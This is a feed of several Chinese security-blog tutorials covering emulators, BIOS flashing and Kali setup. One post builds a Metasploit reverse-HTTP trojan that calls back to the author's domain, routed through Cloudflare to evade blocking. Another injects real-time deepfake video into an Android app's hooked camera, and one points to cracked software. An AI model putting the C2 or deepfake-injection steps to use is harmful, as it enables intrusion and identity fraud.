本文是在 Windows 环境下演示的,所涉及到的系统和硬件细节如下:
如果你是笔记本电脑的话,默认是自带摄像头的,也可以跳过这一节,直接看下面的内容。如果你是台式机电脑或者要追求更高清摄像头的话,那么本小节内容可以供你参考一下。
本次电脑使用 Android 摄像头我们借助的是 DroidCam 软件,官网地址为:
软件使用很简单,默认对局域网开放出 4747 的端口:
Windows 安装好 OBS (Open Broadcaster Software) ,直接下载对应的 OSB 插件即可,插件的官方项目下载地址为:
https://github.com/dev47apps/droidcam-obs-plugin/releases
安装好 OSB 插件后,在 OBS 里面新建场景,手动添加 DroidCam OBS 来源,配置好 Android 的 DroidCam 的 IP 和端口采集到 Android 摄像头的画面:
当然为了追求稳定性这里也是可以直接使用 USB 来传输摄像头画面的:

DeepFaceLive 是一个非常有吗的开源实时 AI 换脸的软件,官方的项目地址为:
https://github.com/iperov/DeepFaceLive
不过官方给的下载地址都是用的国外的云盘,我们国内下载还是很慢的,所以国光这里提供了国内的百度云盘的下载地址:
https://pan.baidu.com/s/1zyA4PwPAJbCVnCYOElVZrg?from=init&pwd=26vd
DeepFaceLive 可以实时从文件里面导入视频换脸也支持导入摄像头,我们需要 OBS 采集 DroidCam 后开启虚拟摄像头:
然后 DeepFaceLive 里面的相机源选 OBS 的虚拟摄像头即可成功采集到手机摄像头的画面:
使用 DeepFaceLive 里面的 Face swap 模块可以选择对应的照片来简单的换脸,下面是使用马斯克的效果:
当然,照片的维度比较少,为了追求更逼真的换脸效果,我们这个时候就需要使用 DFM 模型数据来换脸了,下面是使用模型换脸的效果:
是不是看起来更像马斯克了呢?不过由于这个模型本身训练的时候没考虑到眼镜效果,所以戴眼镜的实际要差点意思。
我们先使用录制好的视频来替换摄像头做一个概念验证,如果成功的话就可以考虑将换好的人脸实时替换到手机里面了。
Andorid 这里要替换摄像头只有虚拟摄像头的思路,我们使用下面的 Xposed 模块的开源项目来实现:
使用也很简单,Lposed 开启模块后,选择要 Hook 的 APP 然后重启手机即可生效,我们可以选择本地的视频来简单测试一下:
效果视频截图:
既然 Windows 电脑这边可以实时换脸了,Android 这边也可以理论上使用虚拟摄像头替换真实的摄像头,所以接下来就得想办法让 Windows 换脸后的画面实时推给 Android 手机了。好在 VCAMSX 模块支持 RTMP 视频流,所以我们就需要手动搭建推流服务来传输画面给手机了。
推流服务搭建很简单,使用 Docker 可以一条命令搭建完成:
docker run -d -p 1935:1935 --name nginx-rtmp tiangolo/nginx-rtmp使用默认的 1935 端口即可:
因为 OBS 不支持多个场景使用不同的画布大小,所以我们需重新再开一个 OBS 来设置成手机的竖屏画布大小:
DeepFaceLive 里面将视频流输出选择「合成后的画面」,这个时候会单独有一个窗口来显示合成后的人脸:
接下来当然是使用 OBS 进行区域设置截取合成后的人脸画面内容:
OBS 的直播里面设置自定义推流服务,地址就填写我们上面使用 Docker 搭建的 RTMP 服务即可:
接下来点击开始直播即可将画面推送给 RTMP 服务:
我们可以使用支持流的播放器测试看看,国光下面使用的 macOS 下的 IINA 进行 RTMP 播放测试:

可以成功播放:
最后一步当然就是使用 VCAMSX 填写好我们的 RTMP 直播链接,然后测试一下:

接着最后打开我们 Hook 的 APP,下面以美颜相机为例,可以看到成功劫持了摄像头,而且顺便把马老师给美颜了一下:
完整的视频可以参考:https://www.alipan.com/s/4pUGmSZpY83
或者网站直链观看(可能有点慢):
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>理论上作为 ARM 架构的 MacBook 在运行 Android 系统的时候应该会更丝滑的,但是各大模拟器厂商一直都没有很好的适配做出对应的产品,直到今年年初的时候网易的 mumu 模拟器出了 mumu 模拟器 pro,专门针对苹果 M 芯片进行优化的专属模拟器,实际体验整体真的非常丝滑呀,国光测试效果比真机还棒。
理论上作为 ARM 架构的 MacBook 在运行 Android 系统的时候应该会更丝滑的,但是各大模拟器厂商一直都没有很好的适配做出对应的产品,直到今年年初的时候,网易的 mumu 模拟器出了 mumu 模拟器 pro,专门针对苹果 M 芯片进行优化的专属模拟器,实际体验整体真的非常丝滑呀,国光测试效果比真机还棒:
但是可能是目前这个 M芯片模拟器垄断的原因,这模拟器目前用户只能 7 天免费试用,也不支持买断制,只能按时间来付费:
但是目前这产品还是早期,破解版本民间也有流传:
关注公众号后,回复 mumu 即可获取破解版的下载链接。
模拟器的硬盘切换成 可写系统盘 模式:

如果使用 adb devices 查看不到模拟器设备的话,我们可以手动开启一下 ADB:

这会开启一个局域网的 adb 连接,我们可以使用 connect 和 disconnect 连连接断开模拟器:

然后 macOS 下将 burp 的 cacert.der 证书转换一下格式,然后导入到手机 system 证书文件夹下:
# cer 证书转为 pem 证书openssl x509 -inform DER -in cacert.der -out cacert.pem# 获取证书的 hash 值hash=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -n 1)# 将 pem 证书改成 hash + .0 的格式new_hash="${hash}.0"mv cacert.pem "$new_hash" # 将证书直接放到系统证书文件夹下adb push "$new_hash" /system/etc/security/cacerts/BP 开启局域网监听,然后将模拟器的代理指向 BP 的监听端口:
找个开启 SSL 的网站抓包测试看看,成功抓包:
frida 官方项目的 releases 下截止目前最新的 arm 架构的 frida-server-16.2.1-android-arm64 包,然后使用 adb push 到模拟器里:
adb push frida-server-16.2.1-android-arm64 /data/local/tmp/然后手机端直接运行 frida server,这里为了稳定建议模拟器里面安装个 Termux 终端模拟器。首先使用 su 命令申请并切换 root 权限:
然后手动给 frida server 执行权限并运行:
chmod +x /data/local/tmp/frida-server-16.2.1-android-arm64/data/local/tmp/frida-server-16.2.1-android-arm64
使用 frida-ls-devices 查看模拟器的连接类型为 USB 类型,我们也可以正常与模拟器进行 hook 测试:

经过几天的深度测试,在使用 frida baria 去调试一些流量加密的金融类的 APP 时候,比真机流畅多了,以后妈妈再也不用担心我挖不到 APP 的漏洞啦:
而且也可以直接调用 Macbook 或者 iPhone 的摄像头来进行人脸识别验证:
目前 MuMu模拟器Pro 除了目前无法安装 Magisk 面具以外,其他基本上是可以满足我们大部分的日常安全测试了,甚至某些方面比我的 OnePlus 6 真机还要丝滑流畅,总之是一个值得安装的模拟器。
如果模拟器安装面具的话,玩法还会更丰富一点,正好近期 mumu 模拟器更新后支持安装面具了,公众号留言里面也看到不少网友们求相关的教程,所以国光我这篇文章也就诞生了。
之前如果安装老版本的模拟器,或者 mumu 模拟器打开闪退的用户,建议使用 App Cleaner & Unistaller 卸载干净了,这样避免出现一些不好解决的玄学问题:
最终本文所使用演示是上次分享的 MuMu 模拟器 1.4.11 版本:
首先在设置里面将模拟器设置为「可写系统盘」模式:
当然也要开启 root 权限:
直接使用官方的面具我们大概率是无法直接安装成功的,所以这里使用 Kitsune Mask 这种第三方为模拟器适配的面具:
官网项目地址为:HuskyDG/magisk-files (github.com)
Kitsune Mask 安装好直接使用「直接安装 (直接修改 /system)」方式即可:
安装完成后,因为模拟器里面的软件无法正常调用系统重启,这里安装好后如下图,我们手动重启一下模拟器:
重启后发现提示 su 文件冲突了,我们需要手动修复一下异常:
其实原理很简单,使用 root 权限删除之前冲突的 su 相关文件即可,我们这里直接使用 adb 连接使用 root 身份操作:
adb connect 127.0.0.1:5555adb shellsumacOS 下如果没有 adb 命令的话,那么使用 brew 手动安装一下 adb 命令即可:
切换 root 权限后,我们手动将之前冲突的 su 相关文件直接备份一下:
mv /system/xbin/su /system/xbin/su.bakmv /system/app/SuperUser/ /system/app/SuperUser-Bak/备份后的效果如下:
最终我们的 Magisk 不报错了:

各功能也正常使用,支持 root 权限管理以及工作模块的安装:
好了时间有限,具体国光就不再啰嗦了,感兴趣的师傅还不抓紧试试看。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。
我国也正在积极推广普及 IPv6 技术,个人家庭光猫基本上都是支持 IPv6 的,IPv6 我们可以理解为一个公网 IP,由于 IPv6 资源数量非常庞大,足够保障我们的家庭每个设备都有自己的公网 IPv6 地址,这一切预示着万物互联的时代即将到来,从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。
但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。
整体方案实现其实不难,最主要的就是下面两个知识点:
总的来说就是下面两个步骤即可:
准备一个没有公网 IPv4 地址,但是存在公网 IPv6 地址的 Ubuntu 系统一个,正常家用的主机基本上是满足上述要求的:
MSF 是经典的 C2 工具,其他的 C2 工具基本上线原理仿造一下即可,我们先来手动来安装一下 Metasploit:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
为了保持权限最小化原则,我们这里只创建一个修改 itermux 域名的 DNS 权限 API 令牌:
DDNS-GO 的官方项目地址为:https://github.com/jeessy2/ddns-go
DDNS-GO 的作用是将公网地址解析到各大云厂商的域名上。下载好 DDNS-GO 参考官方文档安装一下即可:
sudo ./ddns-go -s install接着访问服务器的 9876 端口即可打开 DDNS-GO 的配置页面,首先填写我们的 CF 的 API Token:
最后配置一下要 IPv6 对应解析的域名即可:
通过 DDNS-GO 的日志可以看到 msf.itermux.com 域名成功解析到了我们的公网 IPv6 地址:
因为当前默认域名解析的是 IPv6 地址,IPv4 设备是无法访问到我们的域名的,为此我们需要手动开启 CF 的代理,借助 CF 将域名转换成 IPv4 也可以访问的 IP 地址:
然后手动关闭一下 CF 的 SSL 加密:
首先在服务器上借助 Python3 监听一个 IPv6 的 80 端口:
python3 -m http.server 80 --bind ::然后直接访问我们的 msf.itermux.com 域名测试成功访问:
既然上述操作跑通的话,那么下面直接来尝试一下 MSF 上线吧。后续的操作就比较简单常规了,我们很快的来过一下:
我们使用 meterpreter_reverse_http的 Payload,HOST 填写我们的 IPv6 地址 DDNS 的域名 msf.itermux.com,端口就填写 80 端口:
msf6 > use payload/windows/x64/meterpreter_reverse_httpmsf6 > set LHOST msf.itermux.commsf6 > set LPORT 80
然后直接在 msfconsole 控制台里面使用 generate 生成 Windows exe 木马文件:
msf6 payload(windows/x64/meterpreter_reverse_http) > generate -f exe -o shell.exe[*] Writing 208384 bytes to shell.exe...这里监听的细节是 set LHOST :: 表示监听本地的 IPv6 地址:
msf6 > use exploits/multi/handlermsf6 > set payload windows/x64/meterpreter_reverse_httpmsf6 > set LHOST ::msf6 > set LPORT 80
运行 shell.exe 后既上线成功,通过 netstat 命令查看,可以看到多个上线的会话连接,这些外连 IP 均为 Cloudflare 的 CDN IP,蓝方防守的话封是封不完,而且不敢封的,因为国内很多大型网站可能也用的是 Cloudflare。
MSF 的上线记录效果如下,可以看到 CF 的 CDN IPv6 服务器和本地的 IPv6 交互的记录:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>磨刀不误砍柴工,工欲善其事必先利其器,正好最近国光我换了 M1 Pro 的 14 寸的 Macbook Pro 监管机了,真香呀!新的电脑到了又得安装一堆软件,最后为了自己也为了方便大家快速查看,国光我还单独写了个前端页面。
本次前端页面还是一如既往的国光的界面设计风格,经典的 Boostrap 框架写的:
https://www.sqlsec.com/macsoft.html
Apple Silicon 是 Apple 计算机芯片内部使用的处理器架构。M1 和 M2 处理器之类的处理器都使用 Apple Silicon,这标志着与 Apple 使用英特尔 CPU 的背道而驰。
传统的 MacBook 和 iMac 设备以前使用 intel 的 x86 处理器架构,但苹果现在的 Apple Silicon 则是 Arm 架构,这意味搭载 Apple Silicon 的芯片将会有更高的能效比,续航更久,发热更低。
所以我们使用 Apple Silicon 芯片的产品的时候,尽量也要使用 Arm 架构编译优化的软件,能少用 Rosetta 转编译就少用一点,对自己的 MacBook 好一点!
为了方便我们查看软件的架构,这里推荐一个 Silicon Info 软件:
主要是一些上班摸鱼类的软件,IM 通讯、社交、冲浪、音乐、视频类软件。

主要是日常文档办公用到的软件,可以不用,但不能没有:
国光不是一个专业的 Coder,所以这块软件并不是很多:
国光我不是一个设计师,日常也就录制视频,简单修修图,轻度剪辑视频一下:
下面是一些国光经常使用的系统增强软件,整体都比较好用方便:
妈妈再也不用担心我资源下载比较慢了:
浏览器多用起来就是爽,每天换着用都用不完呀:
主要是一些虚拟机、Docker 还有一些远程软件:
下面是国光安装的一些安全工具,当然有些安全工具不适合做成应用程序,下面仅供大家参考一下吧:
平时测试测试一下硬盘速度、看看 CPU 占用,瞅一瞅风扇转速、顺便跑个分:
磨刀不误砍柴工,工欲善其事必先利其器,这些是国光认为比较提高效率的软件:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>哈喽,大家好呀,我是国光,好久没更新视频了,最近有点感冒,音色有一点变化,大家习惯一下哈!话不多说,开始正题,本期呢给大家带来一个性价比很高的小主机,华硕的 ChromeBox3 CN65 。我会在本视频中教大家如何安装黑苹果、以及多系统共存。让大家充分榨干这个小主机的性能,大家的硬币准备好了吗?我要开始装逼了!
首先我们来看看外观,作为一个小主机,他的外观不算很迷你,但是呢接口在小主机中算是比较丰富的了,这个1个全功能的 Type-C 接口,不仅可以充电也支持DP协议视频输出,整机接近一个正方形,边长等于1个iPhone7 的长度。
配置这块主要就是使用了 i7-8550U 的处理器,实际上是一个 7代架构的马甲U,经典的 4核8线程,祖传的 14nm 技术,内存最高支持到 DDR4 2400 频率,核显的型号为 UHD 620
配置虽然不算高,但是海鲜市场上目前可以以不到 800 元的价格,买到一套 16GB + 64GB 的配置,开箱即用,这个价钱钱要啥自行车呀。
因为这种小主机出厂就是自带的 ChromeOS 的,所以 BIOS 也是谷歌定制的 ,发文章之前,闲鱼老哥还是有时间帮忙刷 BIOS 的,现在呢大概率只能我们自己手动来刷一下 BIOS 了,否则没法正常安装 Windows 以及 macOS 等其他操作系统。
我手上新买的这台也是自带的 ChromeOS 系统,简单总结一下吧:总之不太适合国人使用,虽然外观看上去也挺小清新的,动画过渡也还算丝滑,也支持安装 Android 和 Linux 应用,但是因为都懂的原因,我们使用起来并不方便,国光我这里建议我们后期可以考虑刷更适合国人使用的 FydeOS 操作系统。
刷 BIOS 的话我们可以直接看 B 站 UP 咖啡有毒你还喝 的教程视频:
8代i7的NUC主机-华硕ChromeBox3:从ChromeOS到Windows10刷机保姆级教程,适用大多数Chromebook
下面国光也简单记录一下如何从原始的 ChromeBox3 开始刷第三方 BIOS。
关机,开机的时候按住 reset 键 (卡针短的话可以拆开插入翘片垫着也可以)再按电源键开机后屏幕会进入恢复模式:
看到上面这个界面按 Ctrl + D 进入、开发者模式:
友情提示:国光换了两把机械键盘在这个开发者模式都没有反应,然后美团下单了 30多块钱的飞利浦薄膜键盘,发现可以正常操作了,这个问题确实很玄学。
根据提示再按一下 reset 键 ,然后主机会自动重启到下面这个界面:
接着提示正在切换到开发者模式:
耐心等待一会儿,最上方会有一个进度条,能看到剩余时间,一般 5-10 分钟左右:
期间如果卡主的话都可以按 Ctrl + D 跳过,接着来到 ChromeOS 系统欢迎界面,连接键鼠和 WiFi 选择左下角的访客模式:
接着进入系统后,使用快捷键 Ctrl + Alt + T 调出终端窗口,然后输入命令:
crossystem在末尾看到 wpsw_cur 的值为 1,表示这个 BIOS 是有写保护的(为 0 则无保护):
这机器解除写保护的方法是物理方法,直接拆掉写保护螺丝,右下角圈出来地方就是写保护螺丝,直接拆掉然后重启就可以:
这次重启风扇转的会比较厉害,还会滴滴叫记下,然后进入系统后再次运行命令检查下,已经没有写保护了:
cd ~/Downloads && sudo flashrom -r backup.rom
插上 U 盘,将备份的 backup.rom 备份到 U 盘里面:
如果大家网络可以正常访问谷歌的话,建议使用官方的原版脚本,网络不好的话就使用国内的脚本:
# 官方国外原版脚本:cd; curl -LO mrchromebox.tech/firmware-util.sh && sudo bash firmware-util.sh# 国内镜像脚本(感谢ELAO大佬):cd; curl -LO https://gitee.com/elao/mr-chromebox-scripts/raw/master-2023-5/firmware-util.sh && sudo bash firmware-util.sh必须以 普通/非 root 用户的身份执行脚本。以 root 身份运行会破坏一切。在运行下面的脚本 CMD 之前,请勿运行 sudo 或者 su。
下面记录一下脚本使用的细节操作:
接着输入 2 然后回车,表示安装完整的 ROM 固件:
刷 ROM 固件会让你无法运行 ChormeOS 是否继续?这里输入 y 继续:
如果你希望继续,手动输入 I ACCEPT 然后回车继续:
接着输入 Y 回车继续:
脚本提示我们备份一下 BIOS,因为之前我们手动备份过了,这里输入 n 不备份,然后回车:
接下来脚本就开始去拉取 BIOS 固件,然后自动刷入了,耐心等待即可:
出现上面绿字提示,表示刷入成功了,我们按 回车键返回主菜单,输入 R 回车,重启电脑:
我们刷的是大名鼎鼎的 coreboot 兔子BIOS,看到下面的兔子 Logo 表示我们已经刷入成功了。整个 BIOS 非常简洁感觉,刷入 BIOS 后第一次加载会比较长,耐心等待一会:
如果等很久很久还没变化的话那就手动重启一下电脑吧,这样就正常进入到 BIOS 了,可以看到我们刷的是最新的 4.20.1 BIOS:
接下来的操作就简单了,和正常小主机安装系统差不多了,我们可以搞个自己的 PE U 盘随便安装 Windows 或者 Linux 系统了。
因为自带的 64GB SATA 协议的硬盘太小速度也太慢了,我们的国产颗粒也崛起了,所以我们直接安排个 1 TB 的长江颗粒的 NVME 硬盘。因为又有黑苹果下各种功能的完美追求,所以我们手动来使用转接卡来安装一下苹果的拆机网卡 BCM94360CS2,转接卡和网卡的链接可以参考下面的闲鱼,总价大概 50 多块钱:
一顿操作后,我们的小主机最终的内部配置如下:
本镜像取自于远景这个 349336500 老哥的帖子:https://bbs.pcbeta.com/viewthread-1948333-1-1.html
国光我相当于帮大家白嫖了,有能力的网友可以去原贴去支持他一下哈,下面是白嫖的一些镜像网盘信息:
# 天翼云:macOS Ventura 13.1 (22C65):https://cloud.189.cn/t/YZFzeqU3mmie (访问码:vhy3)macOS Ventura 13 (22A380):https://cloud.189.cn/t/ZzQraemMz2Av (访问码:1xur)# 阿里云盘:macOS Ventura 13.4.1 (22F82):https://www.aliyundrive.com/s/gDSytaiiVfamacOS Ventura 13.4 (22F66):https://www.aliyundrive.com/s/LEvFAArLZ5ZmacOS Ventura 13.3 (22E252):https://www.aliyundrive.com/s/atvncNVMJNcmacOS Ventura 13.2 (22D49):https://www.aliyundrive.com/s/LL6inEwVUdMmacOS Ventura 13.1 (22C65):https://www.aliyundrive.com/s/kydfwX7Y1oQmacOS Ventura 13 (22A380):https://www.aliyundrive.com/s/BXoD7NgkMBz# 本站直连:https://pan.mediy.cn/%F0%9F%93%81Files/macOS/macOS%20Ventura%2013.4.1%20(22F82)(密码:mediy)截止到 2023 年 07 月 30 日,我们下载最新的 macOS 13 稳定版本:macOS Ventura 13.4.1 (22F82) OC 0.9.3 and Clover5152 and Win11PE.dmg
写入镜像实际上也有很多工具,国光这里推荐一个后来居上的工具 balenaEthcher
官方支持 Windows、macOS、Linux 的版本,下载即可使用。下面简单说下安装制作镜像的方法:
这个软件使用也比较简单,就是上图标记的三步,是不是很简单呢?
由于国光我手上的这个 U 盘是固态改的,所以几分钟时间就写入完成了:
去 Github 最新的 https://github.com/sqlsec/Asus-ChromeBox-i7-8550U/releases 下载 EFI 文件,然后使用 DiskGenius 删除自带的 EFI 文件,将我们下好的 EFI 文件拖入到 U 盘的 EFI 分区下:
准备好上述工作后,话不多说,我们直接开始安装 macOS 把,首先进 BIOS ,从 U 盘启动:
然后选择「Install macOS Ventura」:
看到下面这个界面,那么恭喜你很顺利呀,这是苹果的恢复模式,我们手动选择「磁盘工具」:
然后点击「显示所有设备」:
选择 APFS 格式,方案为 GUID 分区图,自定义磁盘名称后点击「抹掉」:
抹盘完成后关掉窗口:
然后点击「安装 macOS Vrntura」:
剩下的就是基本操作了:
不懂怎么操作的网友可以参考我单独的文章:国光的黑苹果安装教程:手把手教你配置 OpenCore
因为现在的 EFI 放在我们的 U 盘的 EFI 分区下,这样不能每次都插着 U 盘启动吧,所以我们得到 PE 下将 U 盘里面的 EFI 文件夹放到 1TB 硬盘的 EFI 分区下:
这样可以拔掉 U 盘,正常进入 macOS 系统啦:
安装 Windows 这里就比较简单了,国光我这里打算做四系统同时引导,计划 macOS 占用 512GB、其他 512GB 存储用于安装其他操作系统。
选择整个磁盘,选择分区:
选择「添加分区」:
我这里只给 macOS 留了 512GB,然后新的分区临时使用 ExFAT 格式,方便我们后面到 PE 下区分:
U 盘还有很大的空间,不能浪费,我们来手动创建 1 个分区:
然后后面就是基本操作了吧,我们使用 WinNTSetup 一键安装系统到我们从 macOS 新分出来的分区即可:
操作完之后我们的双系统引导完成:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>之前在 19 年写过一篇 Parallel Tools 高版本内核的安装失败的解决方法,还有在 21 年写过一篇 Kali 2021.1 安装 Parallel Tools 疑难解答。但是文章都有一点老了,如今 Parallels Desktop 已经出到了 18 的版本,Kali 的版本也到了 2023.2 的版本,而且国光我也换了 MacBook Pro 14 寸 ARM 架构的 CPU,所以感觉还是有必要写一篇文章记录一下的,还可以便帮助后面的读者朋友们,在技术的路上少走弯路。
本文所使用的环境信息如下:
以上配置仅供大家参考,理论上环境有稍许差距的话问题也不大。
可能是 GNOME 桌面的原因,刚刚安装好 Kali Linux 如没有 PD Tools 的话,打开是直接黑屏或者登录进去也是没法操作的:
所以我们得通过安全模式才可以正常启动系统:
成功进入系统,那么下面就可以手动来安装 PD Tools 了:
把光盘挂载到 Kali 虚拟机中,「菜单」-「操作」-「安装 Parallel Tools」,双击桌面上的「光盘」图标就可以成功挂载光盘了(默认顺利的话 不需要双击会自动挂载),接下来根据下面命令走一下常规的安装流程:
# 检测光盘是否挂载成功mount | grep iso9660# 将光盘内容拷贝到自建的文件夹mkdir ~/pdtools && cp -r /media/cdrom0/* ~/pdtools# 安装 Parallel Toolssudo -ichmod -R 777 ~/pdtools && cd ~/pdtools && ./install然后就进入安装流程了,一直「回车」安装下去,如果没有猜错的话最后会得到这样一个报错:
